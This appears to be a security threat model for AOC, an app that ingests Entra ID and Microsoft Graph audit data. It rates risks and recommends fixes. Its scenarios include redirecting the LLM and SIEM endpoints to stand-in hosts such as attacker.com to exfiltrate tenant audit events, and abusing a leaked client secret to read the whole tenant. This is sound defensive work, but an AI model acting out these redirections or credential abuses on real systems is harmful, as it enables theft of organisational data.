17 KiB
AOC Threat Model — v1.7.13
Date: 2026-04-27
Scope: Entra ID / Microsoft Graph integration, token handling, data flows, external dependencies
Assumptions: Deployment is Docker Compose behind nginx reverse proxy; AUTH_ENABLED=true; AI_FEATURES_ENABLED may be true or false.
Attack Surface Map
┌─────────────────────────────────────────────────────────────────────────────┐
│ ATTACKER │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ┌─────────────┐ ┌──────────────┐ ┌─────────────────┐ │
│ │ Frontend │ │ API │ │ Webhook │ │
│ │ (CDN JS) │ │ (/api/*) │ │ (/api/webhooks)│ │
│ └──────┬──────┘ └──────┬───────┘ └────────┬────────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ AOC BACKEND │ │
│ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │
│ │ │ Auth │ │ Events │ │ Fetch │ │ Ask/LLM │ │ │
│ │ │ (JWT) │ │ (Mongo) │ │ (Graph) │ │ (HTTP) │ │ │
│ │ └────┬─────┘ └────┬─────┘ └────┬─────┘ └────┬─────┘ │ │
│ │ │ │ │ │ │ │
│ │ ▼ ▼ ▼ ▼ │ │
│ │ ┌─────────────────────────────────────────────────────┐ │ │
│ │ │ SECRETS / CREDENTIALS │ │ │
│ │ │ CLIENT_SECRET │ LLM_API_KEY │ MONGO_PASSWORD │ │ │
│ │ └─────────────────────────────────────────────────────┘ │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ┌─────────────┐ ┌──────────────┐ ┌─────────────────┐ │
│ │ Microsoft │ │ LLM API │ │ SIEM Webhook │ │
│ │ Graph API │ │ (OpenAI/ │ │ (optional) │ │
│ │ │ │ Azure) │ │ │ │
│ └─────────────┘ └──────────────┘ └─────────────────┘ │
└─────────────────────────────────────────────────────────────────────────────┘
1. Entra App Registration Abuse — HIGH
1.1 Client Credentials Leak = Full Tenant Read
How it works:
- AOC uses
client_credentialsflow (graph/auth.py) CLIENT_ID+CLIENT_SECRETare exchanged for an access token atlogin.microsoftonline.com- The token has
https://graph.microsoft.com/.defaultscope - This grants all application permissions configured in the Entra app registration
Typical permissions:
Directory.Read.All— read all users, groups, devices, rolesAuditLog.Read.All— read all audit logsDeviceManagementManagedDevices.Read.All— read all Intune devices
Attack scenario:
- Attacker gains read access to
.envor the Docker container filesystem - Attacker calls the token endpoint directly with the leaked
CLIENT_ID/CLIENT_SECRET - Attacker receives a Graph API access token valid for ~1 hour
- Attacker can query ALL tenant data independently of AOC
Impact: Complete tenant data exfiltration — users, groups, devices, audit logs, mailboxes (if Exchange.Read granted).
Mitigation in place: None. The backend needs these permissions to function.
Recommendation:
- Store
CLIENT_SECRETin a secret manager (Azure Key Vault, HashiCorp Vault) rather than.env - Use short-lived certificates instead of long-lived secrets for app authentication
- Monitor Entra sign-in logs for anomalous
client_credentialstoken requests - Restrict app registration permissions to the absolute minimum (e.g.,
AuditLog.Read.All+Directory.Read.Allonly)
1.2 No Scope Restriction on Graph Token
Finding: get_access_token() always requests https://graph.microsoft.com/.default — the full permission set. There's no mechanism to request narrower scopes for specific operations.
Impact: If the app registration has 10 permissions, every token has all 10. A bug in one code path could expose data from all 10 permission areas.
Recommendation: Not easily fixable without splitting into multiple app registrations. Document as accepted risk.
2. Authentication & Token Validation — MEDIUM
2.1 JWKS Fetch Without TLS Certificate Validation Hardening
Finding: _get_jwks() fetches OIDC configuration and JWKS from login.microsoftonline.com using standard requests TLS validation. No certificate pinning or CA bundle restriction.
Attack scenario (advanced):
- Attacker compromises DNS or a network hop between AOC and Microsoft
- Attacker serves a fake JWKS endpoint with their own public key
- Attacker issues a forged JWT signed with their private key
- AOC validates the forged JWT against the attacker's public key
- Attacker gains authenticated access
Likelihood: Very low (requires DNS compromise or nation-state-level interception).
Mitigation: Standard TLS validation is in place. For high-security environments, consider pinning the login.microsoftonline.com certificate thumbprint.
2.2 Missing nbf / iat Claim Verification
Finding: _decode_token() verifies exp, tid, iss, and aud but does not check nbf (not before) or iat (issued at) claims.
Impact: A token used before its validity period (nbf) or with a suspicious future iat would be accepted. Minor issue — MSAL tokens are well-formed in practice.
2.3 Role/Group Gating Defaults to "Allow All"
Finding: In auth.py:
def _allowed(claims, allowed_roles, allowed_groups):
if not allowed_roles and not allowed_groups:
return True
Impact: If AUTH_ENABLED=true but AUTH_ALLOWED_ROLES and AUTH_ALLOWED_GROUPS are left empty (the default), every Entra user in the tenant can authenticate and use AOC. This is a common misconfiguration.
Recommendation: Add a startup warning when auth is enabled but no roles/groups are configured. Consider changing the default to deny-all.
2.4 Privacy Service Role Gating Also Defaults to "Allow All"
Finding: user_can_access_privacy_services() returns True if PRIVACY_SERVICE_ROLES is empty. If an admin configures PRIVACY_SERVICES (e.g., Exchange) but forgets to set PRIVACY_SERVICE_ROLES, all users see all privacy data.
3. Data Exfiltration Paths — HIGH
3.1 LLM Endpoint as Data Exfiltration Channel
Finding: When AI_FEATURES_ENABLED=true and LLM_API_KEY is set:
- The
/api/askendpoint sends audit event data (actors, targets, operations, summaries) to the configured LLM API _validate_llm_url()blocks private IPs but does NOT restrict the domain to an allowlist- Any HTTPS URL is accepted
Attack scenario:
- Attacker gains
.envwrite access (or container filesystem access) - Attacker changes
LLM_BASE_URLtohttps://attacker.com/fake-llm - Attacker sends an
/api/askrequest like "show me all events" - AOC queries MongoDB and sends up to
LLM_MAX_EVENTS(default 200) events to the attacker's URL - Attacker receives structured audit data including actor names, UPNs, device names, operation details
Impact: Up to 200 audit events exfiltrated per API call. With pagination, an attacker could exfiltrate the entire database.
Mitigation in place: SSRF guard blocks private IPs and localhost.
Gap: No domain allowlist. An attacker-controlled public HTTPS endpoint is accepted.
Recommendation:
- Add
LLM_ALLOWED_DOMAINSconfig (e.g.,api.openai.com,*.openai.azure.com) - Validate
LLM_BASE_URLagainst this allowlist at startup and on every request - Log all LLM requests with event counts sent
3.2 SIEM Webhook as Real-Time Exfiltration Channel
Finding: siem.py forwards every normalized event to SIEM_WEBHOOK_URL during ingestion:
def forward_event(event):
if not SIEM_ENABLED or not SIEM_WEBHOOK_URL:
return
requests.post(SIEM_WEBHOOK_URL, json=event, timeout=10)
Gap: No URL validation at all. Unlike the LLM endpoint, the SIEM webhook has NO SSRF guard.
Attack scenario:
- Attacker sets
SIEM_ENABLED=trueandSIEM_WEBHOOK_URL=https://attacker.com/collect - Every new audit event fetched from Graph is immediately POSTed to the attacker's URL
- Attacker receives real-time stream of all tenant audit events
Impact: Real-time, continuous data exfiltration of all audit events.
Recommendation:
- Add the same SSRF validation to
SIEM_WEBHOOK_URLthat exists forLLM_BASE_URL - Add
SIEM_ALLOWED_DOMAINSconfig - Log SIEM forwarding failures prominently
3.3 Export Features (JSON/CSV)
Finding: The frontend has exportJSON() and exportCSV() functions that download all currently filtered events. These are authenticated but not rate-limited separately from /api/events.
Impact: A compromised account can export large batches of events. However, this requires authentication and is bounded by the 500-event page size limit.
Risk level: LOW — requires valid auth and is noisy.
4. Webhook Abuse — MEDIUM
4.1 Graph Change Notification Webhook
Finding: /api/webhooks/graph receives Microsoft Graph change notifications:
- Echoes
validationTokenfor subscription handshake - Accepts notifications with optional
clientStatevalidation WEBHOOK_CLIENT_SECRETis empty by default
Attack scenario 1 — Subscription hijacking:
- Attacker discovers the webhook URL (via API enumeration or guess)
- Attacker creates a Graph subscription pointing to the AOC webhook URL
- Attacker receives change notifications for the subscribed resource
Mitigation: Notifications without matching clientState are rejected when WEBHOOK_CLIENT_SECRET is configured. But it's empty by default.
Attack scenario 2 — Validation token abuse:
- Attacker sends a POST to
/api/webhooks/graph?validationToken=<arbitrary content> - AOC echoes the token back as
text/plain - Could be used for cache poisoning or response splitting
Mitigation: Length and ASCII validation added in v1.7.12.
Recommendation:
- Require
WEBHOOK_CLIENT_SECRETto be set in production - Document that the webhook endpoint should NOT be exposed to the public internet
5. Supply Chain — MEDIUM
5.1 CDN Scripts Without Subresource Integrity (SRI)
Finding: The frontend loads two external scripts without SRI hashes:
<script defer src="https://cdn.jsdelivr.net/npm/alpinejs@3.x.x/dist/cdn.min.js"></script>
<script src="https://alcdn.msauth.net/browser/2.37.0/js/msal-browser.min.js" crossorigin="anonymous"></script>
Attack scenario:
cdn.jsdelivr.netoralcdn.msauth.netis compromised (supply chain attack)- Malicious JavaScript is served instead of the legitimate library
- Malicious script can steal MSAL tokens, modify API requests, or exfiltrate data
Impact: Complete frontend compromise — token theft, data exfiltration, UI spoofing.
Recommendation:
- Add SRI hashes to both script tags:
<script defer src="..." integrity="sha384-..." crossorigin="anonymous"></script> - Or vendor the JS files and serve them from the same origin
6. Privilege Escalation — MEDIUM
6.1 Application Permissions Bypass User Boundaries
Finding: Because AOC uses application permissions (not delegated permissions), the backend can read audit logs for ALL users, not just the authenticated user. The privacy service filtering (PRIVACY_SERVICES) is the only boundary — and it's opt-in.
Impact: A user with minimal Entra permissions (e.g., a regular user who can authenticate) can view audit logs for the entire tenant if:
PRIVACY_SERVICESis not configured, ORPRIVACY_SERVICE_ROLESis not configured
Recommendation:
- Document that AOC should be restricted to admin/security roles via
AUTH_ALLOWED_ROLES - Consider adding per-user event filtering (only show events where the authenticated user is the actor or target)
7. Miscellaneous Vectors — LOW
7.1 Token Cache in Memory
Finding: _TOKEN_CACHE in graph/auth.py is an in-memory dictionary. If an attacker gains code execution in the Python process, they can read the cache or call get_access_token() directly.
Impact: Attacker with code execution can get Graph API tokens. But if they have code execution, they already have CLIENT_SECRET from memory or .env.
7.2 MongoDB Connection String
Finding: MONGO_URI contains credentials. If an attacker gains filesystem access, they can connect directly to MongoDB and bypass all AOC auth/privacy controls.
Mitigation: MongoDB is internal to Docker network (not exposed to host in production compose file).
7.3 Audit Trail Log Injection
Finding: audit_trail.log_action() stores actions in MongoDB. The details dict could contain user-controlled data (e.g., filter values). If the audit log is ever rendered without escaping, this could lead to XSS.
Risk level: LOW — audit logs are not currently rendered in the UI.
Risk Summary
| Vector | Severity | Likelihood | Requires |
|---|---|---|---|
| Client secret leak → full tenant read | HIGH | Medium | .env or container access |
| LLM endpoint hijacking → data exfil | HIGH | Low | .env write access |
| SIEM webhook hijacking → real-time exfil | HIGH | Low | .env write access |
| CDN compromise → frontend token theft | MEDIUM | Low | Supply chain attack |
| Role gating misconfig → all users access | MEDIUM | High | Misconfiguration |
| Webhook subscription hijacking | MEDIUM | Low | URL discovery |
| DNS compromise → fake JWKS | MEDIUM | Very low | Network compromise |
| Application permissions bypass boundaries | MEDIUM | High | Default config |
| Token replay | LOW | Low | Token theft |
| Audit log injection | LOW | Low | Filter manipulation |
Immediate Recommendations
- Add LLM domain allowlist (
LLM_ALLOWED_DOMAINS) and validate at startup - Add SIEM SSRF guard — reuse
_validate_llm_url()forSIEM_WEBHOOK_URL - Add SRI hashes to CDN script tags, or vendor the libraries
- Add startup warning when auth is enabled but no
AUTH_ALLOWED_ROLES/AUTH_ALLOWED_GROUPSconfigured - Document webhook security — require
WEBHOOK_CLIENT_SECRETin production - Consider Key Vault integration for
CLIENT_SECRETandLLM_API_KEY - Add per-user filtering option — restrict events to those involving the authenticated user